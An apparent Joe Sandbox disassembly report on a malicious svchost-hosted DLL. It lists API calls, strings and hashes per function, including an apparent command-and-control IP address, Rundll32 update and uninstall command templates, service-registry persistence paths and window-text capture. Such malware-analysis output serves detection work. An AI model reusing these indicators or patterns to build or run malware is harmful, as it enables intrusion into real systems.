Opcode ID: 3bd37e16282c1c1f21b19040e991c0c37f16a42726fa5d42d22308dc76884aca
Instruction ID: 8d33707021d861f585806a6466cff3f66270e93c65c897c0ed9a4eea2b4cd3d2
Opcode Fuzzy Hash: 3bd37e16282c1c1f21b19040e991c0c37f16a42726fa5d42d22308dc76884aca
Instruction Fuzzy Hash: 9421BD71500719BFE7109FA4CC84EEBBBF9EF09394F104529F602A62A4C7B29D449B20

Function 100012D4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 100012D9
_CxxThrowException.MSVCRT(?,10005258), ref: 10001332
WSAStartup.WS2_32(00000202,?), ref: 10001343
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 10001350
memcpy.MSVCRT(?,00000068,00000003), ref: 10001379

Strings

hx , xrefs: 1000136D

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: CreateEventExceptionH_prologStartupThrowmemcpy
String ID: hx
API String ID: 80965288-1695387836
Opcode ID: 77854b9b63fc0fb3e868ca2b5d078d50e29d64ea9dc30742ffd87570b9eaf05b
Instruction ID: e29fc32a716e33b2e16fee5429824c3098a31f8f694cb1b228e84ed99c9fd0ff
Opcode Fuzzy Hash: 77854b9b63fc0fb3e868ca2b5d078d50e29d64ea9dc30742ffd87570b9eaf05b
Instruction Fuzzy Hash: 8211B4748013849EF710DBA8CD89BEEBBB8DF09384F50005DF141A7286DFB56A08CB62

Function 1000273D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104), ref: 10002758
wsprintfA.USER32 ref: 1000277A
wsprintfA.USER32 ref: 10002798
WinExec.KERNEL32(?,00000000), ref: 100027AA

Strings

Rundll32 "%s",DllUpdate %s, xrefs: 10002774
Rundll32 "%s",Uninstall, xrefs: 10002792

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: wsprintf$ExecFileModuleName
String ID: Rundll32 "%s",DllUpdate %s$Rundll32 "%s",Uninstall
API String ID: 4265364758-3622515909
Opcode ID: 2fae55858e382da93d8a6581f30ac6264c287b13e5b54571d9062f30e9afb438
Instruction ID: 96afaeef2140f7acea31c6041c278450ca2d3413692d0236748e955fccce9fd0
Opcode Fuzzy Hash: 2fae55858e382da93d8a6581f30ac6264c287b13e5b54571d9062f30e9afb438
Instruction Fuzzy Hash: 0FF01875400228AFFB10DB50CC8DFCA777DEB08384F604191F659D2065DBB19698CF91

Function 1000260E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 26sleepmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000229,?,100022D7,?), ref: 10002616
memcpy.MSVCRT(00000001,119.91.152.151,00000228,?,100022D7,?), ref: 10002633
LocalSize.KERNEL32(00000000), ref: 1000263C

Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 10001884
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 1000189C
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018F3
Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018FB
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,00000001,00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?), ref: 1000190A
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000000,00000144,00000001,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 10001932

Sleep.KERNEL32(00000001,00000000,00000000), ref: 1000264F
LocalFree.KERNEL32(00000000), ref: 10002656

Strings

119.91.152.151, xrefs: 1000262A

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Localmemcpy$??2@??3@$AllocFreeSizeSleep
String ID: 119.91.152.151
API String ID: 3084024409-912133076
Opcode ID: 2ebc1bcf665d22d67c7a361327471c09cc11f5b44399916a7679a62a2e06e5b5
Instruction ID: 6c6233c5ed4335591c5831c53d58df47d942e828471bf6846fd26331ce1e1182
Opcode Fuzzy Hash: 2ebc1bcf665d22d67c7a361327471c09cc11f5b44399916a7679a62a2e06e5b5
Instruction Fuzzy Hash: 1BE092750036317BF341ABA09C4DFCF3A6DEF097D1F044104FB49A5199CB51564187E6

Function 10001863 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 100012A4: VirtualFree.KERNEL32(?,00000000,00008000,?,10001878,?,00000144,00000000,1000381E,000000C8,00000144), ref: 100012B6

??2@YAPAXI@Z.MSVCRT(1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 10001884
??3@YAXPAX@Z.MSVCRT(00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018F3
??2@YAPAXI@Z.MSVCRT(00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018FB
memcpy.MSVCRT(00000000,000000C8,00000001,00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?), ref: 1000190A
??3@YAXPAX@Z.MSVCRT(00000000,00000144,00000001,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 10001932
memcpy.MSVCRT(00000000,000000C8,1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 1000189C

Part of subcall function 1000104C: memcpy.MSVCRT(?,00000003,00000003,00000000,?,?,10001947,?,00000003,?,00000144,00000000,1000381E,000000C8,00000144), ref: 10001074

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: memcpy$??2@??3@$FreeVirtual
String ID:
API String ID: 494799333-0
Opcode ID: 4ee7b13994a7bebae5ea71dd6d5e065c25e5d167394b36d5181ca15b21c419c8
Instruction ID: a26a835bd5f016d956b68753e1f5501337bc07bd69db5d8cf19c0b84b9b19e4d
Opcode Fuzzy Hash: 4ee7b13994a7bebae5ea71dd6d5e065c25e5d167394b36d5181ca15b21c419c8
Instruction Fuzzy Hash: B631CBB9601204BBFF01EB64DD92FEE77AAEF44380F004019F605A6186DFB4BB149751

Function 10002AC4 Relevance: 9.1, APIs: 6, Instructions: 51stringwindowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 10002AD0
SendMessageA.USER32(?,0000000D,00000400,00000000), ref: 10002B05
lstrlenA.KERNEL32(00000000), ref: 10002B12
_strupr.MSVCRT ref: 10002B27
_strupr.MSVCRT ref: 10002B32
strstr.MSVCRT ref: 10002B36

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: _strupr$MessageSendVisibleWindowlstrlenstrstr
String ID:
API String ID: 850376632-0
Opcode ID: 863bd39a3c954a72feaba740ccb092445ef11d91041d151f256abd7524e25783
Instruction ID: f84e90a798d893893a4456b5c45592e19e504f04fdea282cdc153707e49d09ee
Opcode Fuzzy Hash: 863bd39a3c954a72feaba740ccb092445ef11d91041d151f256abd7524e25783
Instruction Fuzzy Hash: 3001B9726002296FFF109F64DC49F9A7BBCEB04385F204076E705E6094DB71E9468BA4

Function 10003E12 Relevance: 9.0, APIs: 6, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 10003E2A
FreeLibrary.KERNEL32(?), ref: 10003E34
FreeLibrary.KERNEL32(?), ref: 10003E3E
FreeLibrary.KERNEL32(?), ref: 10003E48
FreeLibrary.KERNEL32(?), ref: 10003E52
FreeLibrary.KERNEL32(?), ref: 10003E5C

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: f0b267456437bb5650b3bd9d655f830ec4ec3bf790c62446a31930fdfe0cb4b5
Instruction ID: d8b8667a67b2f2557cad44f9379b5e8f255c0c6237c58758e20748922239760e
Opcode Fuzzy Hash: f0b267456437bb5650b3bd9d655f830ec4ec3bf790c62446a31930fdfe0cb4b5
Instruction Fuzzy Hash: A6F0EC706007459AEA61EE7ACC44B17F3ECEF90AD1B028929A451D3694DA74EC458960

Function 100026DF Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 100026FA
strlen.MSVCRT ref: 10002718

Strings

Group, xrefs: 1000270E, 1000272B
SYSTEM\CurrentControlSet\Services\%s, xrefs: 100026F4
SySyeu, xrefs: 100026E9
Remark, xrefs: 10002707

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: strlenwsprintf
String ID: Group$Remark$SYSTEM\CurrentControlSet\Services\%s$SySyeu
API String ID: 350797232-2818619236
Opcode ID: b298f06eb582685539f31f60401fdbef796c9698157982a35a7a39406c1ee736
Instruction ID: a3fc7b85e27bf4a01dcc346c82e5e7340bd10ea751e75b0120d021e994437014
Opcode Fuzzy Hash: b298f06eb582685539f31f60401fdbef796c9698157982a35a7a39406c1ee736
Instruction Fuzzy Hash: CCF065B6800124B7FF10AB54DC4AFDA3B6DDB083D4F1040E1FE0966158EBB55A94CBD1

Function 1000389D Relevance: 8.9, APIs: 7, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038D8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038E8
GetProcessHeap.KERNEL32(00000000,00000014,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C), ref: 100038F9
HeapAlloc.KERNEL32(00000000,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C,?), ref: 10003900
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003924
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003933
memcpy.MSVCRT(00000000,?,?,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?), ref: 10003944

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Alloc$Virtual$Heap$Processmemcpy
String ID:
API String ID: 2335822491-0
Opcode ID: e49d25e9bb0d4a180f47fe763da8cbfb8d19a32eb96c44da1c7ada0cf7328320
Instruction ID: eacb235572be496481c28daf470fd61b07f9ecf460b9dfe0afcc7509c1ddb230
Opcode Fuzzy Hash: e49d25e9bb0d4a180f47fe763da8cbfb8d19a32eb96c44da1c7ada0cf7328320
Instruction Fuzzy Hash: 88314A71600701AFE715CFA9CD85E6BBBECEF49794F118029F644DB285D7B0E9408BA4

Function 1000389C Relevance: 8.9, APIs: 7, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038D8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038E8
GetProcessHeap.KERNEL32(00000000,00000014,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C), ref: 100038F9
HeapAlloc.KERNEL32(00000000,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C,?), ref: 10003900
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003924
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003933
memcpy.MSVCRT(00000000,?,?,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?), ref: 10003944

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Alloc$Virtual$Heap$Processmemcpy
String ID:
API String ID: 2335822491-0
Opcode ID: 9aa3b273a59eb2c0b2545a37afc38cd619bd195e7d1346904624c1b6da4ac45c
Instruction ID: 10317215f663cfab710d715b633d7b0dbc04a231647ffe3f91967b0172577e13
Opcode Fuzzy Hash: 9aa3b273a59eb2c0b2545a37afc38cd619bd195e7d1346904624c1b6da4ac45c
Instruction Fuzzy Hash: 69317A71600701AFEB15CBA8CD85F6BBBECEF49794F108029F645DB285D7B0E8008B64

Function 100011FB Relevance: 7.6, APIs: 5, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

ceil.MSVCRT ref: 10001226
_ftol.MSVCRT ref: 1000122E
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,00000000,?,?,10001712,00000003), ref: 10001251
memcpy.MSVCRT(00000000,?,00000000,?,?,10001712,00000003), ref: 10001275
VirtualFree.KERNEL32(?,00000000,00008000,?,?,10001712,00000003), ref: 10001287

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Virtual$AllocFree_ftolceilmemcpy
String ID:
API String ID: 3927456183-0
Opcode ID: f94edee6810ba8cea6bfb4746a43b2bc9bf2551bc4d63573e388d815a9760473
Instruction ID: ff1c2b162e375ad2b81c3d4b25a5517a05f38efa8821d55832f31a3c03b13b4e
Opcode Fuzzy Hash: f94edee6810ba8cea6bfb4746a43b2bc9bf2551bc4d63573e388d815a9760473
Instruction Fuzzy Hash: 3A11C1B1700304ABF7549F65CC86B9FBBE9EB447D1F108429F655C6284DA71A8008760

Function 10001155 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

ceil.MSVCRT ref: 10001187
_ftol.MSVCRT ref: 1000118F
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,00000000,?,?,10001947,?,00000003,?,00000144), ref: 100011A3

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AllocVirtual_ftolceil
String ID:
API String ID: 3317677364-0
Opcode ID: 7f57421f4e8a0dbe28e4ec1d2025382d16bc9b97be7dafbce8d036dedad50421
Instruction ID: 1b5d6cedb6f753cdbab920be1aa23ddc9916300482f626f48fbf4534a1b153b9
Opcode Fuzzy Hash: 7f57421f4e8a0dbe28e4ec1d2025382d16bc9b97be7dafbce8d036dedad50421
Instruction Fuzzy Hash: 29119EB1700700ABF7189F65CC85BDFBAE8EB447D1F10842DFB4AC6694EAB5E8008764

Function 100013B6 Relevance: 7.5, APIs: 5, Instructions: 38synchronizationnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 100013BB
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,10002F56), ref: 100013DD
CloseHandle.KERNEL32(?,?,10002F56), ref: 100013F3
CloseHandle.KERNEL32(?,?,10002F56), ref: 100013FC
WSACleanup.WS2_32 ref: 10001402

Part of subcall function 1000180A: setsockopt.WS2_32(?,0000FFFF,00000080,00000000,00000004), ref: 1000182F
Part of subcall function 1000180A: CancelIo.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001838
Part of subcall function 1000180A: InterlockedExchange.KERNEL32(?,00000000), ref: 10001844
Part of subcall function 1000180A: closesocket.WS2_32(?), ref: 1000184D
Part of subcall function 1000180A: SetEvent.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001856

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: CloseHandle$CancelCleanupEventExchangeH_prologInterlockedObjectSingleWaitclosesocketsetsockopt
String ID:
API String ID: 1476891362-0
Opcode ID: 22c76b733420cd5322f8b44b49fa99b01b9ed644fac333f7b406b2753b621805
Instruction ID: 3d7d7f28339fdf93618245a95348ecc54ac045937f8d7f2223a7296bdd3ad800
Opcode Fuzzy Hash: 22c76b733420cd5322f8b44b49fa99b01b9ed644fac333f7b406b2753b621805
Instruction Fuzzy Hash: C801A934812BA1DFE725DB64CA4979EBBF5EF047D0F20465CE0A3525EACBB16A04CB11

Function 1000180A Relevance: 7.5, APIs: 5, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,00000000,00000004), ref: 1000182F
CancelIo.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001838
InterlockedExchange.KERNEL32(?,00000000), ref: 10001844
closesocket.WS2_32(?), ref: 1000184D
SetEvent.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001856

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 1871585578dca608de80bf68f21ac6b78937bcf90260c740f92b3d4c82ad3011
Instruction ID: db2c71347286e861532d4f6efb444a5e96e0316710033133ccac3d22043cdb64
Opcode Fuzzy Hash: 1871585578dca608de80bf68f21ac6b78937bcf90260c740f92b3d4c82ad3011
Instruction Fuzzy Hash: 12F05E31000729EFEB209B95CC4EE9A7BB9FF08364F204528F382915F4DBB3A9449B50

Function 100042EE Relevance: 6.0, APIs: 4, Instructions: 34synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 10004307
_beginthreadex.MSVCRT ref: 10004325
WaitForSingleObject.KERNEL32(?,000000FF), ref: 10004335
CloseHandle.KERNEL32(?), ref: 1000433E

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: CloseCreateEventHandleObjectSingleWait_beginthreadex
String ID:
API String ID: 92035984-0
Opcode ID: 4f24713aeb18b6c8055081ae489e524b02219a3e0fa4e6869f4180a6eb22546b
Instruction ID: faf95892778ea6415a1c54bed7ea38c560d5af97f962d2801ede21c28746a2bf
Opcode Fuzzy Hash: 4f24713aeb18b6c8055081ae489e524b02219a3e0fa4e6869f4180a6eb22546b
Instruction Fuzzy Hash: 93F097B1900119FFEF019FA8CC498AE7BB9FB08351B504565FD25E2264D7329A209B90

Function 10003629 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 21stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10004822: memset.MSVCRT ref: 10004857
Part of subcall function 10004822: memset.MSVCRT ref: 1000486A
Part of subcall function 10004822: memset.MSVCRT ref: 10004878
Part of subcall function 10004822: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
Part of subcall function 10004822: GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
Part of subcall function 10004822: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

lstrlenA.KERNEL32(00000014,?,?,?,?,100037FD,?,00000014,?), ref: 10003650
lstrcpyA.KERNEL32(00000014,Error,?,?,?,?,100037FD,?,00000014,?), ref: 10003662

Strings

Error, xrefs: 1000365A
InstallTime, xrefs: 10003638

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$memset$Library$FreeLoadlstrcpylstrlen
String ID: Error$InstallTime
API String ID: 2132864188-3993312925
Opcode ID: 05b9f159da249184b1e3b095e130b72a17f690af3a1cf10b62a6d9e74dba2db9
Instruction ID: e8fad5b45eeb662e546af45f25a3999bf1724c4d36ffe5c36dea95d3d4dec653
Opcode Fuzzy Hash: 05b9f159da249184b1e3b095e130b72a17f690af3a1cf10b62a6d9e74dba2db9
Instruction Fuzzy Hash: 9DE0BF31140648B7FF115F51CC46F9D3B5AEB187D6F108054FB08680A4DB7396A09789

Function 100035EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 10004822: memset.MSVCRT ref: 10004857
Part of subcall function 10004822: memset.MSVCRT ref: 1000486A
Part of subcall function 10004822: memset.MSVCRT ref: 10004878
Part of subcall function 10004822: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
Part of subcall function 10004822: GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
